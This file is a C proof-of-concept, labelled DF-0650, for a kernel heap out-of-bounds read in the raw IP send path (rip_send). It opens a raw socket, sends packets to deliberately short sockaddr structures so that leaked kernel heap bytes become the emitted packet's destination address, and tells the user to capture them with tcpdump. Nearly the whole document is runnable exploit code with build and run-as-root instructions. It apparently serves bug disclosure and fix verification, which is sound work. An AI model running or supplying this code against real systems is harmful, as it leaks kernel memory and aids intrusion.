/*
 * DF-0650 - Heap OOB read in rip_send via short sockaddr (raw IP).
 *
 * Bug: sys/netinet/raw_ip.c:632 - dst = ((struct sockaddr_in*)nam)->sin_addr.s_addr
 * reads offset 4..7 of a kmalloc(tolen) M_SONAME buffer that may be as small
 * as 2 bytes. The leaked bytes become ip_dst of the emitted raw packet.
 *
 * Demonstrator:
 *   - Open raw socket, bind to local vtnet0 IP (10.0.2.15) so source is fixed.
 *   - For sa_len in {2,3,4,5,6,7}: send 1-byte payload to a short sockaddr.
 *     The 4 bytes at offset 4..7 become ip_dst; bytes >= sa_len are OOB.
 *   - Use ipfw + tcpdump to observe the leaked ip_dst.
 *
 * On an unfixed kernel: emit succeeds, ip_dst = leaked bytes.
 * On a fixed kernel (sa_len check): all sendto return EINVAL, no emit.
 *
 * Build: cc -O -o df0650_poc df0650_poc.c
 * Run:   ./df0650_poc [reps]      # as root
 */

#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>

int main(int argc, char **argv)
{
    int reps = 8;
    if (argc > 1) reps = atoi(argv[1]);

    int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (s < 0) {
        fprintf(stderr, "socket: %s (need raw-socket privilege)\n",
                strerror(errno));
        return 1;
    }
    int hdrincl = 0;
    setsockopt(s, IPPROTO_IP, IP_HDRINCL, &hdrincl, sizeof(hdrincl));

    /* Bind so source IP is fixed; removes one variable from ip_output. */
    struct sockaddr_in laddr;
    memset(&laddr, 0, sizeof(laddr));
    laddr.sin_len = sizeof(laddr);
    laddr.sin_family = AF_INET;
    inet_aton("10.0.2.15", &laddr.sin_addr);
    if (bind(s, (struct sockaddr*)&laddr, sizeof(laddr)) < 0) {
        /* non-fatal */
        fprintf(stderr, "bind: %s (continuing)\n", strerror(errno));
    }

    printf("[*] raw socket fd=%d, IP_HDRINCL=0, bound src=10.0.2.15\n", s);
    printf("[*] sending short sockaddrs with sa_len in {2..7}; OOB bytes\n");
    printf("    at offset >= sa_len become ip_dst of emitted packet.\n\n");

    unsigned char payload[8] = "DF0650X!";
    int lens[] = {7, 6, 5, 4, 3, 2};
    int nl = (int)(sizeof(lens)/sizeof(lens[0]));
    int ok_count = 0, fail_count = 0;

    for (int r = 0; r < reps; r++) {
        for (int li = 0; li < nl; li++) {
            int L = lens[li];
            unsigned char sa[8];
            memset(sa, 0, sizeof(sa));
            sa[0] = (unsigned char)L;
            sa[1] = AF_INET;
            /* In-buffer sin_addr bytes: point at 10.0.2.X so leaked
             * packets route to vtnet0 (tcpdump-visible). */
            if (L > 4) sa[4] = 10;
            if (L > 5) sa[5] = 0;
            if (L > 6) sa[6] = 2;

            ssize_t rc = sendto(s, payload, 4, 0, (struct sockaddr*)sa, L);
            int e = errno;
            if (rc > 0) {
                ok_count++;
                int n_oob = 4 - ((L > 4) ? (L - 4) : 0);
                if (r < 2)
                    printf("[r%d L%d] EMITTED rc=%zd (%d OOB byte(s) in ip_dst)\n",
                           r, L, rc, n_oob);
            } else {
                fail_count++;
                if (r < 2)
                    printf("[r%d L%d] failed rc=%zd errno=%d (%s)\n",
                           r, L, rc, e, strerror(e));
            }
        }
        usleep(20000);
    }

    printf("\n[*] summary: %d emitted, %d failed\n", ok_count, fail_count);
    printf("[*] tcpdump -i vtnet0 -nn should show emitted packets with\n");
    printf("    ip_dst=10.0.2.{leaked_byte} (for L=7) or fully leaked\n");
    printf("    (for L=2..4). On a fixed kernel ALL sendto return EINVAL.\n");

    close(s);
    return 0;
}
